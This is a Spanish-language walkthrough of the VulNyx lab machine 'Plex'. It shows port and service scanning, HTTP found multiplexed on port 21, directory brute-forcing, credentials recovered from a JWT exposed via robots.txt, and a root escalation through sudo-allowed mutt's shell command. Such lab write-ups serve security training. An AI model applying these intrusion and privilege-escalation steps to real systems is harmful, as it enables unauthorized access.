VulNyx - Plex

logo

  • SSL/SSH Multiplexer - (CURL/SSH)
  • Token JWT - (JWT.io)
  • Abusing Mutt Binary - (Sudo/Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.24

PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64

Escaneo de servicios

❯ nmap -sV -sC -p 21 -v 192.168.1.24

PORT   STATE SERVICE VERSION
21/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
| ssh-hostkey: 
|   2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA)
|   256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA)
|_  256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Si intento conectarme por FTP me muestra el banner de OpenSSH.

❯ ftp 192.168.1.24
Connected to 192.168.1.24.
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u4
ftp> 

Después de varias pruebas me doy cuenta de que estoy en frente de una multiplexación de servicios, básicamente se utiliza un puerto para diferentes servicios. Si lanzo CURL veo que existe el servicio HTTP.

❯ curl 192.168.1.24:21 -v
*   Trying 192.168.1.24:21...
* Connected to 192.168.1.24 (192.168.1.24) port 21
> GET / HTTP/1.1
> Host: 192.168.1.24:21
> User-Agent: curl/8.3.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Tue, 12 Mar 2024 10:07:02 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Wed, 28 Feb 2024 17:50:38 GMT
< ETag: "31-61274c7cf8519"
< Accept-Ranges: bytes
< Content-Length: 49
< Content-Type: text/html

Hello Bro!
You only need a port to be happy...

Realizo fuerza bruta de directorios.

❯ wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/big.txt 'http://192.168.1.24:21/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.24:21/FUZZ
Total requests: 20476

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000017:   403        9 L      28 W       277 Ch      ".htpasswd"                                                                                                                                     
000000016:   403        9 L      28 W       277 Ch      ".htaccess"                                                                                                                                     
000015556:   200        2 L      4 W        58 Ch       "robots.txt"                                                                                                                                    
000016220:   200        658 L    1284 W     42076 Ch    "server-status" 

Reviso el archivo robots.txt y veo un Disallow:.

❯ curl 192.168.1.24:21/robots.txt
User-agent: *
Disallow: /9a618248b64db62d15b300a07b00580b

Al visitar el nuevo directorio me informa que el recurso solicitado ha sido movido de manera permanente a una nueva ubicación.

❯ curl 192.168.1.24:21/9a618248b64db62d15b300a07b00580b
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.1.24:21/9a618248b64db62d15b300a07b00580b/">here</a>.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 192.168.1.24 Port 21</address>
</body></html>

Visito la nueva ubicación y me aparece un hash.

❯ curl 192.168.1.24:21/9a618248b64db62d15b300a07b00580b/
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk

Al decodificar el hash veo que se trata de un Token JWT.

❯ echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk" | base64 -d | jq
base64: entrada inválida
{
  "typ": "JWT",
  "alg": "HS256"
}

Me voy a JWT.io para decodificar el token.

jwt

Me conecto al sistema con las credenciales encontradas anteriormente.

mauro

Enumero permisos de sudo.

mauro@plex:~$ sudo -l
Matching Defaults entries for mauro on plex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mauro may run the following commands on plex:
    (root) NOPASSWD: /usr/bin/mutt

Lanzo mutt con sudo y me aparece esta ventana.

mauro@plex:~$ sudo /usr/bin/mutt

mutt

Pulso shift+1 para activar el modo Comando de shell y seguidamente escribo /bin/bash para obtener el root.

mutt2

root

Y aquí termina la máquina Plex.

Saludos!